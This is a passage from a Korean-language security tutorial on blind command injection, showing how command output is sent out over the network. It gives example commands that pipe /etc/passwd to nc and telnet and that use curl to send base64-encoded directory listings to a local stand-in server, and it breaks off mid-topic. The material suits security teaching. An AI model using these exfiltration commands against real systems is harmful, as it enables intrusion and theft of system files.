Command Injection은 다른 취약점에 비해서 손쉽게 공격할 수 있을 뿐만 아니라 서버 내에서 명령어를 실행할 수 있어 파급력이 매우 큰 취약점으로 분류된다. 그러나 실제 애플리케이션에서는 익스플로잇에 있어 갖은 제한 사항들이 있을 수 있다. 예를 들어, 입력할 수 있는 값의 길이가 정해져 있거나 명령어 실행 결과가 이용자에게 보여지지 않고 내부에서 처리되는 상황이 있다.
Command Injection 취약점이 발생하지만 실행한 명령어의 결과가 보여지지 않을 때의 상황에서 활용할 수 있는 방법들이다.
Network Outbound란 네트워크를 통해 명령어의 실행 결과를 다른 서버로 전송하는 것을 말한다. 삽입한 명령줄에 네트워크 도구를 함께 실행해 자신의 서버에 명령어 실행 결과를 전송한다. 이는 네트워크 도구를 서버에 설치할 수 있거나 설치되었을 때 사용 가능한 방법이다.
nc (netcat)
nc는 TCP 또는 UDP 프로토콜을 사용하는 네트워크에서 데이터를 송신하거나 수신하는 프로그램이다. 셸에서 제공하는 파이프(’|’)와 함께 해당 프로그램을 사용하면 앞서 실행한 명령어의 결과를 네트워크로 전송한다. 아래는 nc를 이용해 명령어의 실행 결과를 네트워크로 전송하는 예시이다. 명령어가 실행되면, “/etc/passwd” 파일의 출력 결과를 로컬의 8000번 포트로 전송한다.
cat /etc/passwd | nc 127.0.0.1 8000
telnet
telnet은 네트워크 연결에 사용되는 프로토콜로 클라이언트를 설치해 네트워크에 연결을 시도할수 있다. 이 또한 앞서 알아본 nc와 같이 파이프와 함께 명령어의 결과를 네트워크로 전송할 수 있다. 아래는 telnet을 이용해 명령어의 실행 결과를 네트워크로 전송하는 예시이다. 명령어가 실행되면 “/etc/passwd” 파일의 출력 결과를 로컬의 8000번 포트로 전송한다.
cat /etc/passwd | telnet 127.0.0.1 8000
CURL / WGET
curl과 wget은 모두 웹 서버의 컨텐츠를 가져오는 프로그램이다. **웹 서버에서 컨텐츠를 가져오기 위해서는 웹 서버에 방문을 해야하기 때문에 서버에서는 접속 로그가 남게 된다. 이 특징을 이용해 명령어의 실행 결과를 웹 서버의 경로 또는 Body와 같은 영역에 포함해 전송한다. 아래는 curl을 이용해 명령어의 실행 결과를 네트워크로 전송하는 예시이다. 명령어를 살펴보면 로컬 웹 서버의 파라미터로 디렉터리 목록의 결과를 base64 인코딩하여 전달하는 것을 볼 수 있다. 명령어 실행 결과에는 개행이 있을 수 있기 때문에 인코딩을 통해 개행을 제거한다.
curl "<http://127.0.0.1:8080/?$>(ls -al|base64 -w0)"
POST 메소드를 사용해 실행 결과를 전송하는 방법 또한 사용할 수 있다. 아래는 명령어의 실행 결과를 POST Body에 포함해 요청을 보내는 명령어이다.